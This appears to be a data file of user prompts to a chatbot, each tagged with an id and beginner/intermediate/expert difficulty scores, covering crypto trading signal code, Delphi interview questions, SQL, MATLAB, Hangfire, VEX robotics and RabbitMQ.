df['EMA9'] = df['Close'].ewm(span=ema_period_1, adjust=False).mean()
df['EMA12'] = df['Close'].ewm(span=ema_period_2, adjust=False).mean()
df['EMA26'] = df['Close'].ewm(span=ema_period_3, adjust=False).mean()
if (
df['EMA9'].iloc[-1] > df['EMA26'].iloc[-1] and
df['EMA9'].iloc[-2] < df['EMA26'].iloc[-2]
):
ema_analysis.append('ema_golden_cross')
elif (
df['EMA9'].iloc[-1] < df['EMA26'].iloc[-1] and
df['EMA9'].iloc[-2] > df['EMA26'].iloc[-2]
):
ema_analysis.append('ema_death_cross')
# Candlestick analysis
df['Body'] = df['Close'] - df['Open']
df['Range'] = df['High'] - df['Low']
df['UpperShadow'] = df['High'] - df[['Close', 'Open']].max(axis=1)
df['LowerShadow'] = df[['Close', 'Open']].min(axis=1) - df['Low']
df['BullishEngulfing'] = (df['Body'] > 0) & (df['Body'].shift() < 0) & (df['Open'] < df['Close'].shift())
df['BearishEngulfing'] = (df['Body'] < 0) & (df['Body'].shift() > 0) & (df['Open'] > df['Close'].shift())
df['Hammer'] = (df['UpperShadow'] >= 2 * df['Body']) & (df['LowerShadow'] <= 0.1 * df['Body'])
df['HangingMan'] = (df['UpperShadow'] >= 2 * df['Body']) & (df['LowerShadow'] >= 2 * df['Body'])
for i in range(len(df)):
if df['BullishEngulfing'].iloc[i]:
candle_analysis.append('bullish_engulfing')
elif df['BearishEngulfing'].iloc[i]:
candle_analysis.append('bearish_engulfing')
elif df['Hammer'].iloc[i]:
candle_analysis.append('hammer')
elif df['HangingMan'].iloc[i]:
candle_analysis.append('hanging_man')
else:
candle_analysis.append('')
if ('ema_golden_cross' in ema_analysis and 'bullish_engulfing' in candle_analysis):
return 'buy'
elif ('ema_death_cross' in ema_analysis and 'bearish_engulfing' in candle_analysis):
return 'sell'
else:
return ''
But it doesn't give me any signals, please give me best signal generator code, bot crypto scalping !!! | a6b18bf6a07c134548ee5c25aa98cd36 | {
"intermediate": 0.2759406268596649,
"beginner": 0.4532497227191925,
"expert": 0.2708095908164978
} |
16,552 | Give me best crypto bot scalping strategy ! | 25ffef3312a1ced5accbf867a67f5fbb | {
"intermediate": 0.16753016412258148,
"beginner": 0.12638799846172333,
"expert": 0.7060818076133728
} |
16,553 | 1. Please write in any programming language you like – or pseudo code – a procedure to display a 32 bits number (integer) in the hexadecimal format.
To be clear, your own procedure not one from a standard library of course.
2. Please design a class hierarchy of vehicles (car, bike, truck etc) with the most basic components and the relations between them. Limit it to
essentials (for example public, private etc are not important) and write in any OO-language you like or use pseudo code. You can add comments for
explanations if you want.
3. How would you store your vehicle objects and their attributes (see question 2 above) in a relational database? Please design a simple data model.
You can choose you own syntax or diagrams as long as your data model is presented in its essentials clearly enough.
Provide solutions to above with respect to Delphi language. | 34fbc107834f7598284ae522414f6498 | {
"intermediate": 0.29251331090927124,
"beginner": 0.576845109462738,
"expert": 0.13064154982566833
} |
16,554 | Generate the matlab code for the water hammer effect using differential equations with the time | 4909b00a24847a5c34e501f5f3f7ed9b | {
"intermediate": 0.22497287392616272,
"beginner": 0.16197629272937775,
"expert": 0.6130508780479431
} |
16,555 | provide me delphi solution answers to all questions provided below :
1. Please write in any programming language you like – or pseudo code – a procedure to display a 32 bits number (integer) in the hexadecimal format.
To be clear, your own procedure not one from a standard library of course.
2. Please design a class hierarchy of vehicles (car, bike, truck etc) with the most basic components and the relations between them. Limit it to
essentials (for example public, private etc are not important) and write in any OO-language you like or use pseudo code. You can add comments for
explanations if you want.
3. How would you store your vehicle objects and their attributes (see question 2 above) in a relational database? Please design a simple data model.
You can choose you own syntax or diagrams as long as your data model is presented in its essentials clearly enough.
4. Below you see some – incomplete - snippets of code of EQ’s product tOption. Can you try to describe what you think the code is for, what it is
doing, why it was made that way. Do elaborate, just what your ideas and impressions are – there are no pitfalls to trick you.
<entity name="Country" external="MF_COUNTRY" objectType="OPCountryT">
<attribute name="administrationId" external="ADMINISTRATION_ID" type="key" />
<attribute name="currencyId" external="CURRENCY_ID" type="key" />
<attribute name="countryName" external="COUNTRY_NAME" type="string" width="100" />
<relation name="itsAdministration" source="administrationId" destination="Administration.id" type="1:1" />
<relation name="itsCurrency" source="currencyId" destination="Currency.id" type="0:1" />
</entity>
<entity name="Currency" external="MF_CURRENCY" objectType="OPCurrencyT">
<attribute name="name" external="NAME" type="string" width="50" />
<attribute name="symbol" external="SYMBOL" type="string" width="10" />
<relation name="itsCountries" source="id" destination="Country.currencyId" type="1:n" />
<relation name="itsMoneyAccounts" source="id" destination="MoneyAccount.currencyId" type="1:n" />
</entity>
<entity name="GenericAccount" isAbstract="yes">
<attribute name="accountHolderId" external="ACCOUNT_HOLDER_ID" type="key" />
<attribute name="depositoryId" external="DEPOSITORY_ID" type="key" />
<attribute name="reservedAmount" external="RESERVED_AMOUNT" type="number" />
<attribute name="blockedAmount" external="BLOCKED_AMOUNT" type="number" />
<attribute name="balance" external="BALANCE" type="number" />
<relation name="itsAccountHolder" source="accountHolderId" destination="AccountHolder.id" type="1:1" />
</entity>
<entity name="MoneyAccount" external="MF_MONEY_ACCOUNT" parentEntity="GenericAccount" objectType="OPMoneyAccountT">
<attribute name="currencyId" external="CURRENCY_ID" type="key" />
<relation name="itsDepository" source="depositoryId" destination="MoneyDepository.id" type="1:1" />
<relation name="itsCurrency" source="currencyId" destination="Currency.id" type="1:1" />
<relation name="itsDebitMoneyFinancialInstructions" source="id" destination="MoneyFinancialInstruction.debitAccountId" type="1:n" />
<relation name="itsCreditMoneyFinancialInstructions" source="id" destination="MoneyFinancialInstruction.creditAccountId" type="1:n" />
</entity>
// with MoneyAccount:
<extend name="availableAmount" scope="public">
availableAmount is
balance - reservedAmount
</extend>
function OPMoneyAccountT.availableNotBlockedAmount : ECCurrencyI;
begin
result := validCurrency( availableAmount ).subtract( blockedAmount);
end;
procedure OPMoneyAccountT.addAmountToBalance( const anAmount : ECCurrencyI );
var
originalBalance : ECCurrencyI;
newBalance : ECCurrencyI;
begin
originalBalance := balance;
newBalance := originalBalance.add( anAmount );
if anAmount.isGreaterThanOrEqualsZero then
begin // credit
creditedAmount := creditedAmount.add( anAmount )
end
else
begin // debit
debitedAmount := debitedAmount.subtract( anAmount );
end;
balance := newBalance;
end; | d86e82e559b9bc14c96b66b0598e68cc | {
"intermediate": 0.31639131903648376,
"beginner": 0.505499541759491,
"expert": 0.1781090945005417
} |
16,556 | how to cast list to string and string to list python | 99757b2bd152ded26288482f7c1c7c54 | {
"intermediate": 0.39109930396080017,
"beginner": 0.31310075521469116,
"expert": 0.2957998812198639
} |
16,557 | im using dpg and i want to add a user integer input to my program how do i do that? | 321b6b3a29f11a06e0283eb022f60696 | {
"intermediate": 0.5537064671516418,
"beginner": 0.09372015297412872,
"expert": 0.35257336497306824
} |
16,558 | I used this code: def signal_generator(df):
if df is None:
return ''
candle_analysis = []
ema_analysis = []
# EMA strategy
ema_period_1 = 9 # EMA9
ema_period_2 = 12 # EMA12
ema_period_3 = 26 # EMA26
df['EMA9'] = df['Close'].ewm(span=ema_period_1, adjust=False).mean()
df['EMA12'] = df['Close'].ewm(span=ema_period_2, adjust=False).mean()
df['EMA26'] = df['Close'].ewm(span=ema_period_3, adjust=False).mean()
if (
df['EMA9'].iloc[-1] > df['EMA26'].iloc[-1] and
df['EMA9'].iloc[-2] < df['EMA26'].iloc[-2]
):
ema_analysis.append('ema_golden_cross')
elif (
df['EMA9'].iloc[-1] < df['EMA26'].iloc[-1] and
df['EMA9'].iloc[-2] > df['EMA26'].iloc[-2]
):
ema_analysis.append('ema_death_cross')
# Candlestick analysis
df['Body'] = df['Close'] - df['Open']
df['Range'] = df['High'] - df['Low']
df['UpperShadow'] = df['High'] - df[['Close', 'Open']].max(axis=1)
df['LowerShadow'] = df[['Close', 'Open']].min(axis=1) - df['Low']
df['BullishEngulfing'] = (df['Body'] > 0) & (df['Body'].shift() < 0) & (df['Open'] < df['Close'].shift())
df['BearishEngulfing'] = (df['Body'] < 0) & (df['Body'].shift() > 0) & (df['Open'] > df['Close'].shift())
df['Hammer'] = (df['UpperShadow'] >= 2 * df['Body']) & (df['LowerShadow'] <= 0.1 * df['Body'])
df['HangingMan'] = (df['UpperShadow'] >= 2 * df['Body']) & (df['LowerShadow'] >= 2 * df['Body'])
for i in range(len(df)):
if df['BullishEngulfing'].iloc[i]:
candle_analysis.append('bullish_engulfing')
elif df['BearishEngulfing'].iloc[i]:
candle_analysis.append('bearish_engulfing')
elif df['Hammer'].iloc[i]:
candle_analysis.append('hammer')
elif df['HangingMan'].iloc[i]:
candle_analysis.append('hanging_man')
else:
candle_analysis.append('')
if ('ema_golden_cross' in ema_analysis and 'bullish_engulfing' in candle_analysis):
return 'buy'
elif ('ema_death_cross' in ema_analysis and 'bearish_engulfing' in candle_analysis):
return 'sell'
else:
return '' | 62efa8cd962be65ae3af335182ed0c62 | {
"intermediate": 0.2997947037220001,
"beginner": 0.4416479766368866,
"expert": 0.25855734944343567
} |
16,559 | write a full example of hangfire in asp .net web forms | 7ff908c0b820f4935730c4fc8aac3785 | {
"intermediate": 0.5135437250137329,
"beginner": 0.23178833723068237,
"expert": 0.2546679675579071
} |
16,560 | Hi there! Pleaas write C# program which do these calculations:
An employee gets paid (hours worked) × (base pay), for each hour up to 40 hours.
For every hour over 40, they get overtime = (base pay) × 1.5.
The base pay must not be less than the minimum wage ($8.00 an hour). If it is, print an error.
If the number of hours is greater than 60, print an error message.
Write a method that takes the base pay and hours worked as parameters, and prints the total pay or an error. Write a main method that calls this method for each of these employees: | fa4dd3c3728b533829cb1f05ea3eac42 | {
"intermediate": 0.4269011318683624,
"beginner": 0.24619479477405548,
"expert": 0.3269040584564209
} |
16,561 | I used your code: def signal_generator(df):
if df is None:
return ''
candle_analysis = []
ema_analysis = []
# EMA strategy
ema_period_1 = 9 # Faster EMA
ema_period_2 = 26 # Slower EMA
df['EMA1'] = df['Close'].ewm(span=ema_period_1, adjust=False).mean()
df['EMA2'] = df['Close'].ewm(span=ema_period_2, adjust=False).mean()
# Confirm trend direction
if df['EMA1'].iloc[-1] > df['EMA2'].iloc[-1]:
ema_analysis.append('bullish_trend')
elif df['EMA1'].iloc[-1] < df['EMA2'].iloc[-1]:
ema_analysis.append('bearish_trend')
# Candlestick analysis
df['Body'] = df['Close'] - df['Open']
# Confirm entry signals with candle analysis
if df.iloc[-1]['Body'] > 0:
if (
df.iloc[-1]['Body'] > df.iloc[-2]['Body'] and
df.iloc[-1]['Close'] > df.iloc[-1]['Open'] and
df.iloc[-2]['Close'] < df.iloc[-2]['Open']
):
candle_analysis.append('bullish_engulfing')
elif (
df.iloc[-1]['Open'] < df.iloc[-1]['Close'] and
df.iloc[-2]['Open'] > df.iloc[-2]['Close'] and
df.iloc[-1]['Close'] < df.iloc[-2]['Open']
):
candle_analysis.append('hammer')
elif (
df.iloc[-1]['Open'] < df.iloc[-1]['Close'] and
df.iloc[-2]['Open'] > df.iloc[-2]['Close'] and
df.iloc[-1]['Close'] > df.iloc[-2]['Open']
):
candle_analysis.append('morning_star')
else:
if (
df.iloc[-1]['Body'] < df.iloc[-2]['Body'] and
df.iloc[-1]['Close'] < df.iloc[-1]['Open'] and
df.iloc[-2]['Close'] > df.iloc[-2]['Open']
):
candle_analysis.append('bearish_engulfing')
elif (
df.iloc[-1]['Open'] > df.iloc[-1]['Close'] and
df.iloc[-2]['Open'] < df.iloc[-2]['Close'] and
df.iloc[-1]['Close'] > df.iloc[-2]['Open']
):
candle_analysis.append('shooting_star')
elif (
df.iloc[-1]['Open'] > df.iloc[-1]['Close'] and
df.iloc[-2]['Open'] < df.iloc[-2]['Close'] and
df.iloc[-1]['Close'] < df.iloc[-2]['Open']
):
candle_analysis.append('evening_star')
# Set entry and exit levels
if ('bullish_trend' in ema_analysis and 'bullish_engulfing' in candle_analysis):
return 'buy'
elif ('bearish_trend' in ema_analysis and 'bearish_engulfing' in candle_analysis):
return 'sell'
else:
return ''
But it giveing me wrong signals | 43aa96442a195ae2ab31abcf51fa42a7 | {
"intermediate": 0.2611735463142395,
"beginner": 0.48212066292762756,
"expert": 0.25670576095581055
} |
16,562 | Give the best EMA scalping strategy | 8606398ee4df2adf5c2a8932da08a408 | {
"intermediate": 0.1852477341890335,
"beginner": 0.16996563971042633,
"expert": 0.6447866559028625
} |
16,563 | Give me the best candle analyze scalping strategy | 8aa2d6f00b504728647f60677fdf049e | {
"intermediate": 0.19220347702503204,
"beginner": 0.2012893408536911,
"expert": 0.6065071821212769
} |
16,564 | ue4 tarray clear | 3a03ed2911568a27b1e431f3875c70dd | {
"intermediate": 0.37250563502311707,
"beginner": 0.33563828468322754,
"expert": 0.2918560206890106
} |
16,565 | как исправить ошибку export 'FontLoader' (imported as 'THREE') was not found in 'three' | 32ec53559fa9f49ee59d99f01926f7b6 | {
"intermediate": 0.3761928677558899,
"beginner": 0.3274768888950348,
"expert": 0.2963302731513977
} |
16,566 | From the following tables, write a SQL query to find the referee who managed the final match. Return referee name, country name. | a8e939bc1cc426e31662842d897ffad7 | {
"intermediate": 0.3743341863155365,
"beginner": 0.2669704854488373,
"expert": 0.3586953282356262
} |
16,567 | I want to know how to program a robot using my background knowledge of python | 24e29d27bf50afbdefe242697e4208e0 | {
"intermediate": 0.19964200258255005,
"beginner": 0.3467847406864166,
"expert": 0.4535732567310333
} |
16,568 | I used your code: def signal_generator(df):
if df is None:
return ''
candle_analysis = []
ema_analysis = []
# EMA strategy
df['EMA5'] = df['Close'].ewm(span=5, adjust=False).mean()
df['EMA20'] = df['Close'].ewm(span=20, adjust=False).mean()
# Identify trading signals
if df['EMA5'].iloc[-1] > df['EMA20'].iloc[-1]:
ema_analysis.append('golden_cross') # 5-period EMA crossed above 20-period EMA, bullish signal
elif df['EMA5'].iloc[-1] < df['EMA20'].iloc[-1]:
ema_analysis.append('death_cross') # 5-period EMA crossed below 20-period EMA, bearish signal
for i in range(len(df)):
open_price = df['Open'].iloc[i]
high_price = df['High'].iloc[i]
low_price = df['Low'].iloc[i]
close_price = df['Close'].iloc[i]
body = close_price - open_price
range_ = high_price - low_price
upper_shadow = high_price - max(close_price, open_price)
lower_shadow = min(close_price, open_price) - low_price
if body > 0 and body < 0 and open_price < df['Close']:
candle_analysis.append('bullish_engulfing')
elif body < 0 and body > 0 and open_price > df['Close']:
candle_analysis.append('bearish_engulfing')
elif upper_shadow >= 2 * body and lower_shadow <= 0.1 * body:
candle_analysis.append('hammer')
elif upper_shadow >= 2 * body and lower_shadow >= 2 * body:
candle_analysis.append('hanging_man')
else:
candle_analysis.append('')
if ('golden_cross' in ema_analysis and 'bullish_engulfing' in candle_analysis):
return 'buy'
elif ('death_cross' in ema_analysis and 'bearish_engulfing' in candle_analysis):
return 'sell'
else:
return ''
But it doesn't give me any signals | 8d7f5342c8f4f97faa1f2cf731c16215 | {
"intermediate": 0.34706056118011475,
"beginner": 0.4373331069946289,
"expert": 0.21560627222061157
} |
16,569 | Please show me how to make a vex robotics arm | 7391b46769d9a062c25cdef6e61fe25c | {
"intermediate": 0.29316383600234985,
"beginner": 0.29561859369277954,
"expert": 0.4112175703048706
} |
16,570 | From the following tables, write a SQL query to find the referee who assisted the referee in the opening match. Return associated referee name, country name. | 77247286d289839295442ff8f172502b | {
"intermediate": 0.40777385234832764,
"beginner": 0.24121606349945068,
"expert": 0.3510100543498993
} |
16,571 | Show me a full fledged vex robotics robot program with python and vex library | 5483264a0ee32f2ee0c61a7d4a8f0c1b | {
"intermediate": 0.6730719804763794,
"beginner": 0.06938675045967102,
"expert": 0.257541298866272
} |
16,572 | From the following tables, write a SQL query to find the referee who assisted the referee in the opening match. Return associated referee name, country name. | 4b8322572be42fde52c7d185fa274b2e | {
"intermediate": 0.40777385234832764,
"beginner": 0.24121606349945068,
"expert": 0.3510100543498993
} |
16,573 | code a python script which will open youtube and search for stuff using your voice and open the first link that pops up | 267f98942eb9a52013bf56bf21d64b55 | {
"intermediate": 0.32238876819610596,
"beginner": 0.22594168782234192,
"expert": 0.4516695737838745
} |
16,574 | how do you implement an ampq compatible shim for rabbitmq? | 6ed9e97c5523ead57c02b386f21ffef6 | {
"intermediate": 0.308158814907074,
"beginner": 0.15541493892669678,
"expert": 0.5364262461662292
} |
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